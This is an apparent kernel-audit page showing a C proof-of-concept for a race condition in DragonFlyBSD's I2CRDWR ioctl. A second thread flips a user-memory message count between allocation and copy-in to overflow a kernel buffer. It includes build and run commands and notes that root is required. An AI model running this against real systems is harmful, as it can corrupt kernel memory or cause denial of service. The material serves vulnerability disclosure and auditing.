DragonFlyBSD Kernel Audit
DF-1109 / poc_iic_toctou.c
← back to finding ↓ download raw
/*
 * DF-1109 trigger: TOCTOU double-fetch of d->nmsgs in I2CRDWR ioctl.
 *
 *   iicioctl() (sys/bus/iicbus/iic.c:347-369) re-fetches d->nmsgs from USER
 *   memory at every use (allocation, copyin, both loops, iicbus_transfer).
 *   `d` is the raw user ioctl-data pointer (the kernel does NOT copyin ioctl
 *   structs for drivers).  A racing thread that bumps nmsgs AFTER the
 *   kmalloc(N1) but BEFORE the copyin(N2)/loops(N3..N5) overflows the
 *   allocated buf (16 bytes/excess entry) and usrbufs (8 bytes/excess entry).
 *
 * Trigger: two threads sharing a struct iic_rdwr_data in a mmap'd page.
 *   T1: ioctl(fd, I2CRDWR, &data) in a loop.
 *   T2: flip data.nmsgs between a small N (allocation size) and a large N
 *       (overflow size) in a tight loop, timed so the bump lands between the
 *       allocation kmalloc and the copyin/loops.
 *
 * PRECONDITIONS:
 *   - /dev/iicN must exist (an i2c controller must attach).  This guest has
 *     NO i2c controller HW and no /dev/iic*, so the trigger cannot run here.
 *   - /dev/iicN is created mode 0600 root:wheel (iic.c:129), so opening it
 *     REQUIRES root.  The bug is therefore a root->kernel TOCTOU (no
 *     unprivileged boundary crossing); the realistic impact is a robustness /
 *     hardening gap plus an OOM DoS (nmsgs=UINT32_MAX -> ~24GB M_WAITOK alloc).
 *
 * The bug is confirmed by source trace (see VERDICT.md).
 *
 * build: cc -O2 -pthread -o poc_iic_toctou poc_iic_toctou.c
 * run:   ./poc_iic_toctou /dev/iic0     # as root, on a host with /dev/iic0
 */
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ioctl.h>

struct iic_msg {
	unsigned short slave;
	unsigned short len;
	unsigned char *buf;
};

struct iic_rdwr_data {
	struct iic_msg *msgs;
	unsigned int nmsgs;
};

#define I2CRDWR _IOW('i', 6, struct iic_rdwr_data)

static volatile int stop = 0;
static struct iic_rdwr_data *gdata;

static void *racer(void *arg)
{
	/* Flip nmsgs between the small allocation value and a larger overflow
	 * value so that, with luck, the bump lands between the kmalloc (uses
	 * small N) and the copyin/loops (use large N). */
	while (!stop) {
		gdata->nmsgs = 1;       /* small: sized for the kmalloc */
		gdata->nmsgs = 64;      /* large: overflows by 63*16 bytes */
	}
	return NULL;
}

int main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/iic0";
	int fd = open(dev, O_RDWR);
	if (fd < 0) { perror("open"); return 1; }

	/* shared data in a writable page both threads see */
	gdata = calloc(1, sizeof(*gdata));
	struct iic_msg msgs[64];
	memset(msgs, 0, sizeof(msgs));
	gdata->msgs = msgs;

	pthread_t th;
	pthread_create(&th, NULL, racer, NULL);

	for (int i = 0; i < 100000 && !stop; i++)
		ioctl(fd, I2CRDWR, gdata);   /* double-fetch window each call */

	stop = 1;
	pthread_join(th, NULL);
	close(fd);
	puts("done");
	return 0;
}